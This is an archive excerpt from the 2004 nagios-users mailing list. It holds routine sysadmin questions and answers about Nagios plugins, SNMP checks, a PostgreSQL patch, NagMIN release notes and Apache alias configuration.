does not exist. Or better it does exist but its not the only one. Each interface has ifInOctets and ifOutOctets and when I tried to set the warning and critical limits always comes up with critical Thanks very much Any more ideas? -----Original Message----- From: Goldberg Alain (IT) [mailto:alain at towersemi.com] Sent: 29 February 2004 06:58 To: Yiannis Zimianitis; nagios-users at lists.sourceforge.net Subject: RE: [Nagios-users] plugins I have this in checkcommands.cfg define command { command_name check_snmpif command_line $USER1$/check_snmp -H $HOSTADDRESS$ -o $ARG1$ -m IF-MIB } the check_snmpif in this format spares a lot of MIB parsing. and this in servicves.cfg: check_command check_snmpif!enterprises.9.2.1.58.0 -w 1:50 -c 1:70 will warn above 50% and critical above 70% ____________________________________________________________________________ ____________________________________________________________________________ _________ Alain Goldberg - Network manager - CCDA/CCNA AGG-RIPE - Tower Semiconductors LTD. Tel : 972-4-6506003 Fax : 972-4-6547788 Cell: 972-64-209662 ____________________________________________________________________________ ____________________________________________________________________________ _________ _____ From: Yiannis Zimianitis [mailto:yiannis.zimianitis at sssltd.co.uk] Sent: Thursday, February 26, 2004 11:44 AM To: nagios-users at lists.sourceforge.net Subject: [Nagios-users] plugins I am after some plugins or any ideas on how to monitor cpu load on cisco routers. Also utilization on the links (serial - fastethernet etc) Thanks Yiannis -------------- next part -------------- An HTML attachment was scrubbed... URL: From cschelin at hq.nasa.gov Mon Mar 1 19:59:12 2004 From: cschelin at hq.nasa.gov (Carl Schelin) Date: 01 Mar 2004 13:59:12 -0500 Subject: Continued downtime Message-ID: <1078167552.27062.501.camel@unixgod.hq.nasa.gov> Greetings, Due to a power outage over the weekend, I had the admins schedule downtime for about 50 systems that'd be affected. They missed three systems and they started paging out when they went down. The admin on site configured them for downtime:15 hours. One of the systems never came back from downtime. I can see it being activated in the logs but there's no corresponding activation the following day. At the time it should have come off of downtime, there were lots of pages for an application on a different server that didn't get restarted. It paged out all night. Today, while checking everything, I noticed several processes in memory however none were associated with the system. I stopped nagios, waited for the processes to die down and restarted. Once I did that, the system "came back up". With that, I have two questions here: 1. Is there a way to force a system to come off of downtime? 2. Is there something I could have done differently to ensure the host becomes available after downtime? Nagios 1.2 Nagios-Plugins 1.3.1 Solaris 7 I did search the FAQ, Google Groups/Web and the mail list. Thanks, Carl ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id=1356&alloc_id=3438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From oli at isnic.is Mon Mar 1 17:23:51 2004 From: oli at isnic.is (Olafur Osvaldsson) Date: Mon, 1 Mar 2004 16:23:51 +0000 Subject: Problems with nagios-plugins on FreeBSD Message-ID: <20040301162351.GB79214@isnic.is> Hi, I'm using nagios-plugins v1.3.1 from the FreeBSD ports tree and got into a few problems using the check_procs plugin. It was fixed by altering the configure.in file by moving the FreeBSD part before the "ps -weo" check like had been done with the OpenBSD check. If you need more info or patch just let me know. I also made a few changes to the contrib/check_nagios_db.pl script so it would support PostgreSQL databases and got rid of an anoying error. The diff to that file is attached. /Oli -- Olafur Osvaldsson Systems Administrator Internet a Islandi hf. Tel: +354 525-5291 Email: oli at isnic.is -------------- next part -------------- --- contrib/check_nagios_db.pl.orig Mon Mar 1 16:19:04 2004 +++ contrib/check_nagios_db.pl Mon Mar 1 16:21:24 2004 @@ -13,7 +13,13 @@ my $driver = "mysql"; my $CFG_DEF = "/opt/nagios/etc/cgi.cfg"; -my $QUERY = "select *, UNIX_TIMESTAMP(last_update) as ut from programstatus;"; +my $QUERY; +if ($driver eq 'Pg') { + $QUERY = "SELECT *, EXTRACT(EPOCH FROM last_update) AS ut FROM programstatus;"; +} +else { + $QUERY = "SELECT *, UNIX_TIMESTAMP(last_update) AS ut FROM programstatus;"; +} my $EXPIRE_DEF = 5; ## expressed in minutes my $PROCCNT = 0; @@ -50,7 +56,14 @@ # print "($dbhost, $dbport, $dbuser, $dbpass, $dbname)\n"; -my $dsn = "DBI:$driver:database=$dbname;host=$dbhost;port=$dbport"; +my $dsn; + +if ($driver eq 'Pg') { + $dsn = "DBI:$driver:dbname=$dbname;host=$dbhost;port=$dbport"; +} +else { + $dsn = "DBI:$driver:database=$dbname;host=$dbhost;port=$dbport"; +} my $dbh = DBI->connect($dsn, $dbuser, $dbpass, {'RaiseError' => 1}); my $sth = $dbh->prepare($QUERY); @@ -86,4 +99,7 @@ if ( $STAT == OK ) { print "Nagios OK: located $PROCCNT processes, program status updated $lastupdated seconds ago\n"; } + +$sth->finish; +$dbh->disconnect or warn $dbh->errstr; From neil-on-nagios at restricted.dyndns.org Mon Mar 1 20:53:58 2004 From: neil-on-nagios at restricted.dyndns.org (Neil) Date: Mon, 01 Mar 2004 13:53:58 -0600 Subject: apan-sql and nagios Message-ID: <20040301195358.18439.qmail@restricted.dyndns.org> Hey guys, I have an existing and running nagios machine. I'm planning of adding apan-sql. 1. Do I have to recompile my nagios with mysql support? 2. If I install nagios w/ mysql support over to my existing, and recopied all my etc/*.cfg, will it still work even if I am still not utilizing mysql database? Thanks in advance. Ronneil ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id=1356&alloc_id=3438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From dfinn at twelvehorses.com Mon Mar 1 21:06:04 2004 From: dfinn at twelvehorses.com (Daniel Finn) Date: Mon, 1 Mar 2004 12:06:04 -0800 (PST) Subject: getting error "Return code of 127...Make sure the plugin you're trying to run actually exists." Message-ID: Debian Woody testing/unstable 2.4.18-bf2.4 Software was installed from source using nagios-1.2.tar.gz & nagios-plugins-1.3.1.tar.gz. All settings were left to default for both installations. from nagios.cfg: cfg_file=/usr/local/nagios/etc/checkcommands.cfg cfg_file=/usr/local/nagios/etc/misccommands.cfg cfg_file=/usr/local/nagios/etc/contactgroups.cfg cfg_file=/usr/local/nagios/etc/contacts.cfg #cfg_file=/usr/local/nagios/etc/dependencies.cfg #cfg_file=/usr/local/nagios/etc/escalations.cfg cfg_file=/usr/local/nagios/etc/hostgroups.cfg cfg_file=/usr/local/nagios/etc/hosts.cfg cfg_file=/usr/local/nagios/etc/services.cfg cfg_file=/usr/local/nagios/etc/timeperiods.cfg resource_file=/usr/local/nagios/etc/resource.cfg from resource.cfg: $USER1$=/usr/local/nagios/libexec/ from checkcommands.cfg: # 'check_smtp' command definition define command{ command_name check_smtp command_line $USER1$/check_smtp -H $HOSTADDRESS$ } and in my nagios.log file i'm getting the following: [1078171131] Warning: Return code of 127 for check of service 'DNS' on host 'medusa' was out of bounds. Make sure the plugin you're trying to run actually exists. [1078171131] HOST NOTIFICATION: dfinn;medusa;DOWN;host-notify-by-email;(No output!) [1078171071] HOST NOTIFICATION: dfinn;hercules;DOWN;host-notify-by-email;CRITICAL - Plugin timed out after 10 seconds as you can see here the plugins are installed and seem to work fine when run manually: wolverine:/usr/local/nagios/etc# /usr/local/nagios/libexec/check_smtp -H 192.168.0.2 SMTP OK - 0 second response time Any help would be really appreciated. Thanks Dan Finn Unix System Administrator Twelve Horses North America Cell : 775.233.1774 Desk : 775.337.3336 ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id=1356&alloc_id=3438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From FReimers at infosysinc.com Mon Mar 1 22:25:28 2004 From: FReimers at infosysinc.com (Fred Reimers) Date: Mon, 1 Mar 2004 16:25:28 -0500 Subject: NagMIN Release 2.1.0 Message-ID: All, There is a new release of NagMIN on SourceForge that contains all of the current code. Please read the release notes carefully. You may run into some perl modules or additional software that needs to be installed. Future releases will have a dependency checker and software installer. The major features added are: 1 - NagMIN FPING - Ping a lot of hosts and only send passive status changes to Nagios. Eliminates almost all processor overhead caused by Nagios scheduling large numbers of subprocesses. FPING also maintains RRD files with stats on each host configured with a corresponding FPING service. (Benchmark: 3456 hosts in 2.13 minutes) 2 - NagMIN SNMP - Similar to FPING but performing Net::SNMP gets. (Benchmark: 1190 hosts in 9.5 minutes) 3 - NagMIN Web Portal - updates to the previous NagMIN side bar and Web portal including host group summary, host problem and service problem screens. The screens process/display quickly. The problem screens permit multiple acknowledgement from the main screen with check boxes. Most NagMIN development is geared towards creating a new web interface for Nagios integrated with NagMIN functionality. This is going to be in alpha/beta for a while. Suggestions for improvement are welcomed. 4 - Nagios Mail Gateway - a Sendmail/Postfix email gateway for Nagios to accept passive service checks from equipment that send out email alerts. (Next version will support Reply acknowledgement of Nagios notifications) 5 - Perl Modules - most NagMIN scripts are now written as perl modules. Configuration is controlled from an expanded Modules Config section in the NagMIN WebMIN interface. 6 - Release 2.1.0 will soon be placed on CVS. I'm started to get a handle on how to keep it updated easily given the environment that it's being developed in. 7 - Setup is simplified and improved. It performs more error checking and I've taken another stab at dealing with those pesky command line problems. 8 - The Web Portal screens now use CGI to write a header line out. I've switched to using Mozilla so the screens have been fixed to work better with Mozilla, Konqueror and Netscape as well as MSIE. CGI will creep more into use in future releases. I hope that nagmin-users is helping everyone with installing/configuring and using NagMIN. I saw one email with someone complaining that there isn't much chatter around help with installation. I'm doing my part. The structure of the directories used in this release will probably remain that way for quite some time. Any help with writing documentation to help with installation and updating on various platforms, would be greatly appreciated by your peers. I've had offers to help test, but none to help with installation and documentation that have resulted in any deliverables. Documentation can be added for every NagMIN screen in WebMIN. The WebMIN interface is fairly stable at this point as well and could be documented by someone else. Fred Reimers ------------------------------------------------------------------------------------------------------ This email and any files transmitted with it may contain confidential and/or proprietary information. It is intended solely for the use of the individual or entity who is the intended recipient. Unauthorized use of this information is prohibited. If you have received this in error, please contact the sender by replying to this message and delete this material from any system it may be on. ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id56&alloc_id438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From wcorcor at siue.edu Mon Mar 1 10:29:10 2004 From: wcorcor at siue.edu (Bill Corcoran) Date: Mon, 01 Mar 2004 03:29:10 -0600 Subject: Check_Disk In-Reply-To: References: Message-ID: <40430266.9030606@siue.edu> The -x flag appears to work like it should on Sun OS 5.6, but I am having a similar problem(s) with Sun & check_disk. First of all, I am unable to exclude more than one storage device when using the -x flag. The issue is not mentioned in the documetation. Comma-delimiting devices to exclude produces an error. Simply separating by space or additional -x flags results in check_disk ignoring all but one device to exclude. My bigger problem is that when I check the devices all at once as a group (the default), I get "DISK WARNING". The output with -e is interesting: % ./check_disk -w 0% -c 0% -x /dev/dsk/c0t6d0s0 -e DISK WARNING Of course, none of the disks have less than the warning value of 0% free. When checked individually, all devices report "DISK OK". If I do not exclude c0t6d0s0 (which does indeed have 0% free) i get "DISK CRITICAL". What the heck is going on here? -Bill Corcoran Cupp Michael E Contr AFRL/DIB wrote: > Looking for an updated executable for SUN of the check_disk command (One > that has the ?x flag available). > > > > We?re trying to check disks, but when the cdrom is mounted on our sun > boxes, we get a critical disk error - L We can avert this on the linux > boxes by using ?x, but this flag isn?t available on the sun version > > > > > > Thanks, > > M > > > > -- > > Michael Cupp, Jr. > > Oracle Database Administrator > > EMail - michael.cupp at wpafb.af.mil > > > Phone - 937-255-2104 DSN 785-2104 > > Fax - 937-626-4308 DSN 986-4308 > > Location - AFRL/WSI > > Bldg 045, Room 064 > > 2130 8th Street > > WPAFB, OH 45433 > > > ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id56&alloc_id438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From DavidB at etobin.com Mon Mar 1 23:20:01 2004 From: DavidB at etobin.com (David Barnett) Date: Mon, 1 Mar 2004 16:20:01 -0600 Subject: NAGAT/Nagios Authentication Issue Message-ID: I just installed NAGAT for my Nagios server, and upon exporting a new service I had created, I was unable to log into the Nagios web interface. I used the same user and password, and just to make sure, I deleted the .htaccess and htpasswd.users files and recreated them, but to no avail. I also made sure those files still had the correct paths for all the variables. Has anyone had this problem before? Right now I cannot log into Nagios at all and am fearful I will have to reinstall it. Also, when I restarted Nagios for the first time after the export of the new service, I got a new warning I haven't seen before: "Nothing specified for illegal_macro_output_chars variable!" What does this mean? Any help would be appreciated. Thank you. -------------- next part -------------- An HTML attachment was scrubbed... URL: From rwhuff at ucdavis.edu Mon Mar 1 23:24:33 2004 From: rwhuff at ucdavis.edu (Ron Huff) Date: Mon, 1 Mar 2004 14:24:33 -0800 Subject: Cisco + CPU load Message-ID: <200403012224.i21MOLYH028254@pop17.ucdavis.edu> Indiana University has a plugin for checking CPU load; it is set up to work (5min av) on Cisco and Juniper. It's trivial to add other mfs. It's in their standard nagios plugin download package. - Ron Huff ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id=1356&alloc_id=3438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jyao at aav.com.au Tue Mar 2 00:12:21 2004 From: jyao at aav.com.au (Yao, Jack) Date: Tue, 2 Mar 2004 10:12:21 +1100 Subject: URL path config Message-ID: Hi Gary , I tried that , but the address http://mydomain.com/nagios still not working as the browser cannot find it. the address that work is still http://mydomain.com/nagios/ Is there anything else I miss here ? ta J -----Original Message----- From: Cook, Garry [mailto:GWCOOK at mactec.com] Sent: Tuesday, 2 March 2004 1:42 AM To: Yao, Jack; nagios-users at lists.sourceforge.net Subject: RE: [Nagios-users] URL path config If you include a trailing slash on the fakename in your alias, it's going to be required by the server when you attempt to access it. Remove the second line, restart httpd, and try again. Garry W. Cook, CCNA Network Infrastructure Manager MACTEC, Inc. - http://www.mactec.com/ 303.308.6228 (Office) - 720.220.1862 (Mobile) -----Original Message----- From: nagios-users-admin at lists.sourceforge.net [mailto:nagios-users-admin at lists.sourceforge.net] On Behalf Of Yao, Jack Sent: Sunday, February 29, 2004 2:12 PM To: Nagios mail user list (nagios-users at lists.sourceforge.net) Subject: [Nagios-users] URL path config Hi all, By default Nagios installed with the URL path "/nagios/" in the config.cfg. After installed, I tried to eidt the pathit to be "/nagios" and edit httpd.conf during this part below to add "Alias /nagios /usr/local/nagios/share/" on top of the original one, so now it looks like this: Alias /nagios /usr/local/nagios/share/ Alias /nagios/ /usr/local/nagios/share/ Options None AllowOverride AuthConfig Order allow,deny Allow from all Then I restarted both Nagios service and httpd service, the browser still complains that "page cannot be displayed" and it could not find the new path [http://mydomain.com/nagios]. However , the old path [http://mydomain.com/nagios/] still working as if there was no change made to the config file. Is there anything else I miss here in order to change the URL path ? thanks Jack -------------- next part -------------- An HTML attachment was scrubbed... URL: From jyao at aav.com.au Tue Mar 2 02:00:41 2004 From: jyao at aav.com.au (Yao, Jack) Date: Tue, 2 Mar 2004 12:00:41 +1100 Subject: traliing slash in URL path configuration Message-ID: Hi all , sorry that I have to keep asking the same question again. Basically , on Redhat 8.0 and Apache, I 've been trying to change the default URL from http://mydomain.com/nagios/ to be http://mydomain.com/nagios . And here are the changed I've done so far , which still don't work by the way. 1. I changed the file cgi.cfg at the url path section from "/nagios/" to be just "/nagios" 2. Then I changed httpd.conf from Alias /nagios/ /usr/local/nagios/share/ Options None AllowOverride AuthConfig Order allow,deny Allow from all to be Alias /nagios /usr/local/nagios/share Options None AllowOverride AuthConfig Order allow,deny Allow from all 3. Then I reload both nagios and httpd, and then restart both nagios and httpd. Yet the only URL that is working is still http://mydomain.com/nagios/. This one http://mydomain.com/nagios is simply not accesible at all. 4. Just in case, I have also tried to change httpd.conf to make it become like this Alias /nagios /usr/local/nagios/share/ Alias /nagios/ /usr/local/nagios/share/ Options None AllowOverride AuthConfig Order allow,deny Allow from all And then restart everything , yet the only URL that is working is still http://mydomain.com/nagios/ So basically it don't matter what I do to the file cgi.cfg and httpd.conf [and of course reload/restart the related services after the changes], the only URL that work is still the same one, so Is there anything else I am missing here ??? any clue will be aboslutely appreciated ta Jack -------------- next part -------------- An HTML attachment was scrubbed... URL: From karl at debisschop.net Tue Mar 2 03:46:29 2004 From: karl at debisschop.net (Karl DeBisschop) Date: Mon, 1 Mar 2004 21:46:29 -0500 Subject: traliing slash in URL path configuration In-Reply-To: References: Message-ID: <20040301214629.4d18053d.karl@debisschop.net> On Tue, 2 Mar 2004 12:00:41 +1100 "Yao, Jack" wrote: > Hi all , > > sorry that I have to keep asking the same question again. Basically , > on Redhat 8.0 and Apache, I 've been trying to change the default URL > from http://mydomain.com/nagios/ to be > http://mydomain.com/nagios . And here > are the changed I've done so far , which still don't work by the way. I use the RPM which (on FC1) puts nagios.conf in /etc/httpd/conf.d so it is automatically included in the httpd.conf file. I changed Alias /nagios/ /usr/share/nagios/ to Alias /nagios /usr/share/nagios/ and restarted the server. Then I entered the URL http://localhost/nagios It automatically redirected to http://localhost/nagios/ as expected. > So basically it don't matter what I do to the file cgi.cfg and > httpd.conf[and of course reload/restart the related services after the > changes], the only URL that work is still the same one, so Is there > anything else I am missing here ??? If http://host/nagios won't work, there's something else interfering with you httpd config. Take it up with your local apache guru who probably knows your configs better than I do. If you are expecting http://host/nagios to become the default URL, I don't think you are ever going to get that. I believe that you only get to completely drop the trailing slash when referring to a file, not a directory. That is the reason that supporters of the bandwidth conservation movement advocate leaving the trailing slash in the configs - since the URL will redirect to include the trailing slash, you have force a redirect eating up bandwidth and response time. If you leave the slash in the configs, you force your documentation writers to use it and your users get faster responses while your server does less work. Of course, how you config your server is entirely up to you. But I'm pretty sure that without a rewrite rule, your default URL will retain the trailing slash, even when you accept input without the trailing slash. -- Karl ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id=1356&alloc_id=3438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jyao at aav.com.au Tue Mar 2 05:11:08 2004 From: jyao at aav.com.au (Yao, Jack) Date: Tue, 2 Mar 2004 15:11:08 +1100 Subject: traliing slash in URL path configuration Message-ID: Hi Karl [and all others Nagios list Members], Ah.. It is just not about how much workload server will have only, I am afraid. I am also curious that in nagios document, it states very clear that by changing the URL html path from "/nagios/" to be "/nagios" in cgi.cfg and make the Alias in httpd.conf to be without trailing slah as well. The browser should then accept the user to type http://mydomain.com/nagios and redirect to http://mydomain.com/nagios/ But what happen to me now is that, after I have done all the changed as described in the document, the browser still don't accept user to type http://mydomain.com/nagios . Whenever user types http://mydomain.com/nagios , it will reditect to http://_default_/nagios and display "page cannot be display error, server not found.." And browser still only accept user to type http://mydomain.com/nagios/ as if the changes in cgi.cfg and in httpd.conf did not have any effect at all. I guess the 2 majot questions here are: 1. Do I miss any other part of configuration that might state somewhere else in the document but I did not see it ? 2. Or Does the document not cover everything as it should be ? And I don't think it is Apache issue as the url http://mydomain.com/nagios/ still works fine, so the Apache is definitely working, as well as Nagios. And I notice that you use the path in the Alias set up as Alias /nagios /usr/share/nagios/ , while the one I am using now is Alias /nagios /usr/local/nagios/share , is that a typo or it is actually different path ??? Any helps are really appreciated Thanks Jack -----Original Message----- From: Karl DeBisschop [mailto:karl at debisschop.net] Sent: Tuesday, 2 March 2004 1:46 PM To: Yao, Jack Cc: nagios-users at lists.sourceforge.net Subject: Re: [Nagios-users] traliing slash in URL path configuration On Tue, 2 Mar 2004 12:00:41 +1100 "Yao, Jack" wrote: > Hi all , > > sorry that I have to keep asking the same question again. Basically , > on Redhat 8.0 and Apache, I 've been trying to change the default URL > from http://mydomain.com/nagios/ to be > http://mydomain.com/nagios . And here > are the changed I've done so far , which still don't work by the way. I use the RPM which (on FC1) puts nagios.conf in /etc/httpd/conf.d so it is automatically included in the httpd.conf file. I changed Alias /nagios/ /usr/share/nagios/ to Alias /nagios /usr/share/nagios/ and restarted the server. Then I entered the URL http://localhost/nagios It automatically redirected to http://localhost/nagios/ as expected. > So basically it don't matter what I do to the file cgi.cfg and > httpd.conf[and of course reload/restart the related services after the > changes], the only URL that work is still the same one, so Is there > anything else I am missing here ??? If http://host/nagios won't work, there's something else interfering with you httpd config. Take it up with your local apache guru who probably knows your configs better than I do. If you are expecting http://host/nagios to become the default URL, I don't think you are ever going to get that. I believe that you only get to completely drop the trailing slash when referring to a file, not a directory. That is the reason that supporters of the bandwidth conservation movement advocate leaving the trailing slash in the configs - since the URL will redirect to include the trailing slash, you have force a redirect eating up bandwidth and response time. If you leave the slash in the configs, you force your documentation writers to use it and your users get faster responses while your server does less work. Of course, how you config your server is entirely up to you. But I'm pretty sure that without a rewrite rule, your default URL will retain the trailing slash, even when you accept input without the trailing slash. -- Karl ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id=1356&alloc_id=3438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From benny at bennyvision.com Tue Mar 2 05:56:49 2004 From: benny at bennyvision.com (C. Bensend) Date: Mon, 1 Mar 2004 22:56:49 -0600 (CST) Subject: traliing slash in URL path configuration In-Reply-To: References: Message-ID: <50374.63.227.74.41.1078203431.squirrel@webmail.stinkweasel.net> > But what happen to me now is that, after I have done all the changed as > described in the document, the browser still don't accept user to type > http://mydomain.com/nagios . Whenever user types This is absolutely an Apache config problem. On my servers, I have the following: Alias /nagios/ "/home/nagios/share/" Alias /nagios "/home/nagios/share/" And both http://server/nagios and http://server/nagios/ work just fine. Perhaps you need the quotes? > http://mydomain.com/nagios > , it will reditect to http://_default_/nagios and display "page cannot > be > display error, server not found.." Take a spin through your Apache documentation - this is simply something you need to sit down and fix. And no, I can't tell you how to fix it, because I have no idea what your vendor's Apache config is like. ;) Benny -- "Have you ever tried simply turning off the TV, sitting down with your children, and hitting them?" -- Bender, "Futurama" ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id=1356&alloc_id=3438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From prabhu.anandh at wipro.com Tue Mar 2 06:14:02 2004 From: prabhu.anandh at wipro.com (prabhu.anandh at wipro.com) Date: Tue, 2 Mar 2004 10:44:02 +0530 Subject: perl script help needed. Message-ID: <07BBBE93ECD30547BC93005AF54E2557EE9B59@blr-sjp-msg.wipro.com> Hi folks, I have written a perl script to execute ping command and store the result in a file called out.i am not able to do it.since it doesn't give the output in the out file.please guide me to write into that file. This is my perl script. #!/usr/bin/perl $input=; exec "/usr/bin/ping $input> out"; And also give me an idea how to give input along the script Like XXXX.pl 10.20.X.X then Instead of XXXX.pl then giving 10.20.X.X I am new to these perl scripts.i need your help greatly. Thanks in advance. Regards, Prabhu Anandh ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id56&alloc_id438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From karl at debisschop.net Tue Mar 2 06:27:34 2004 From: karl at debisschop.net (Karl DeBisschop) Date: Tue, 2 Mar 2004 00:27:34 -0500 Subject: traliing slash in URL path configuration In-Reply-To: References: Message-ID: <20040302002734.2bfdcecc.karl@debisschop.net> On Tue, 2 Mar 2004 15:11:08 +1100 "Yao, Jack" wrote: > Hi Karl [and all others Nagios list Members], > > Ah.. It is just not about how much workload server will have only, I > am afraid. I am also curious that in nagios document, it states very > clear that by changing the URL html path from "/nagios/" to be > "/nagios" in cgi.cfg and make the Alias in httpd.conf to be without > trailing slah as well. The browser should then accept the user to type > http://mydomain.com/nagios and redirect to > http://mydomain.com/nagios/ cgi.cfg does not affect what the browser accepts - only what is presented to the browser. As I said, I took the config from the RPM, deleted the trailing slash, and reloaded httpd. No more. Really. > But what happen to me now is that, after I have done all the changed > as described in the document, the browser still don't accept user to > type http://mydomain.com/nagios . Whenever user types > http://mydomain.com/nagios > it will reditect to http://_default_/nagios and display "page > cannot be display error, server not found.." The redirect to _default_ is even more suggestive that there are issues with in your httpd.conf file. If this were just a simple httpd.conf file, I think you'd see The requested URL /nagios was not found on this server. The 'server not found' error suggests there's more happening in your web server configs than just the nagios config. I repeat, find the person in your office who really knows your apache configs. This really does not seem to be a nagios issue - it's an apache issue. > And browser still only accept user to type http://mydomain.com/nagios/ > as if the changes in cgi.cfg and in httpd.conf did not have any effect > at all. > > I guess the 2 majot questions here are: > > 1. Do I miss any other part of configuration that might state > somewhere else in the document but I did not see it ? No. Unless there are pre-existing oddities in your httpd.conf, deleting the trailing slash in the alias really is all you need to do. I swear. > 2. Or Does the document not cover everything as it should be ? Again, I took the RPM install, and deleted one slash, then reloaded. Nothing more. > And I don't think it is Apache issue as the url > http://mydomain.com/nagios/ > still works fine, so the Apache is definitely working, as well as > Nagios. I understand that apache is working, but it appears to me that some other directive prevents your changes from being seen. > And I notice that you use the path in the Alias set up as Alias > /nagios/usr/share/nagios/ , while the one I am using now is Alias > /nagios/usr/local/nagios/share , is that a typo or it is actually > different path??? Because I used the rpm, which does not install into /usr/local - it installs into /usr and trys to follow the FHS, instead of the GNU guidelines. (If you want to try the RPM, run rpmbuild -ta on the tarball - but I think it will make no difference. I think you need to take a better look at other directives in your apache config that may interfere with the alias you are trying to establish.) > > -----Original Message----- > From: Karl DeBisschop [mailto:karl at debisschop.net] > Sent: Tuesday, 2 March 2004 1:46 PM > To: Yao, Jack > Cc: nagios-users at lists.sourceforge.net > Subject: Re: [Nagios-users] traliing slash in URL path configuration > > > On Tue, 2 Mar 2004 12:00:41 +1100 > "Yao, Jack" wrote: > > > Hi all , > > > > sorry that I have to keep asking the same question again. Basically > > , on Redhat 8.0 and Apache, I 've been trying to change the default > > URL from http://mydomain.com/nagios/ > > to be http://mydomain.com/nagios . > > And here are the changed I've done so far , which still don't work > > by the way. > > I use the RPM which (on FC1) puts nagios.conf in /etc/httpd/conf.d so > it is automatically included in the httpd.conf file. > > I changed > > Alias /nagios/ /usr/share/nagios/ > > to > > Alias /nagios /usr/share/nagios/ > > and restarted the server. Then I entered the URL > > http://localhost/nagios > > It automatically redirected to > > http://localhost/nagios/ > > as expected. > > > So basically it don't matter what I do to the file cgi.cfg and > > httpd.conf[and of course reload/restart the related services after > > the changes], the only URL that work is still the same one, so Is > > there anything else I am missing here ??? > > If http://host/nagios won't work, there's something else interfering > with you httpd config. Take it up with your local apache guru who > probably knows your configs better than I do. > > If you are expecting http://host/nagios to become the default URL, I > don't think you are ever going to get that. I believe that you only > get to completely drop the trailing slash when referring to a file, > not a directory. That is the reason that supporters of the bandwidth > conservation movement advocate leaving the trailing slash in the > configs- since the URL will redirect to include the trailing slash, > you have force a redirect eating up bandwidth and response time. If > you leave the slash in the configs, you force your documentation > writers to use it and your users get faster responses while your > server does less work. Of course, how you config your server is > entirely up to you. But I'm pretty sure that without a rewrite rule, > your default URL will retain the trailing slash, even when you accept > input without the trailing slash. > > -- > Karl ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id=1356&alloc_id=3438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From karl at debisschop.net Tue Mar 2 06:44:25 2004 From: karl at debisschop.net (Karl DeBisschop) Date: Tue, 2 Mar 2004 00:44:25 -0500 Subject: Problems with nagios-plugins on FreeBSD In-Reply-To: <20040301162351.GB79214@isnic.is> References: <20040301162351.GB79214@isnic.is> Message-ID: <20040302004425.7392b155.karl@debisschop.net> On 